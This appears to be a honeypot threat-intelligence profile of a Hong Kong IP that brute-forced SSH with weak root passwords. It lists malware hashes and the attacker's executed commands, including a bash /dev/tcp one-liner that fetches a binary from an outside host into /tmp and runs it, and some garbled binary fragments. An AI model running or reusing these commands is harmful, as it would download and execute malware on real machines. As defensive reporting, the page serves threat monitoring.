TROYANOSYVIRUS
Active Threat • LOW

8.210.36.227

Country of Origin🇭🇰 Hong Kong
First Detection3/21/2026
Last Activity3/21/2026
ISPAlibaba US Technology Co., Ltd.
🎯
15
Total Attacks
🔌
1
Ports
📡
1
Attack Types
🦠
2
Malware

Geolocation

Country
🇭🇰 Hong Kong
City
Hong Kong
ASN
AS45102
ISP
Alibaba US Technology Co., Ltd.

Attack Types

ssh_telnet_honeypot

Attacked Ports

22

Associated Malware

235c0637786c0b050047...→9a45029b646e2d200156...→

Attempted Credentials

🔐root/123456
1x
🔐root/12345678
1x
🔐root/password
1x

Executed Commands

$nohup bash -c "exec 6<>/dev/tcp/8.217.214.181/60144 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/pM2dwubrss && chmod +x /tmp/pM2dwubrss && /tmp/pM2dwubrss AGm1QFQuUku1bAYHZK1IUTJSWK9pGgZtrFZSNE5JqGwOAm6qSVggWFapbwMabKpMTjFYSaFoBAVqr1hYLlJJrHAGBGe1SVY5Wk6rbwUNfq9PTjJTTrVsABporkJWMFFKqX4MGmyqSE4yUlaqbg4CbqpIUyBYVqlsBhpvrU5OMVdOoWgEBW2oWFE2U1aqZwYab6lWUjNXQq1uBQRou0xXLlJLrHADB3CqTVU6VkiqbgUUaqxWWDROSaltGgNroU5QMVBKu2YaBm+rVlM2TkqpaQ4CbqpIUBqfpyBmhAZYPMEuCw==" &0O0O6(6(Qtd?UPX!1x
$dd bs=1 count=1911588 > /tmp/AohPOiTp4U1x
$nohup bash -c "exec 6<>/dev/tcp/8.217.214.181/60144 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/pM2dwubrss && chmod +x /tmp/pM2dwubrss && /tmp/pM2dwubrss AGm1QFQuUku1bAYHZK1IUTJSWK9pGgZtrFZSNE5JqGwOAm6qSVggWFapbwMabKpMTjFYSaFoBAVqr1hYLlJJrHAGBGe1SVY5Wk6rbwUNfq9PTjJTTrVsABporkJWMFFKqX4MGmyqSE4yUlaqbg4CbqpIUyBYVqlsBhpvrU5OMVdOoWgEBW2oWFE2U1aqZwYab6lWUjNXQq1uBQRou0xXLlJLrHADB3CqTVU6VkiqbgUUaqxWWDROSaltGgNroU5QMVBKu2YaBm+rVlM2TkqpaQ4CbqpIUBqfpyBmhAZYPMEuCw==" &1x
$>D6@/XJ'81x

Risk Assessment

25
/100
LowMediumHighCritical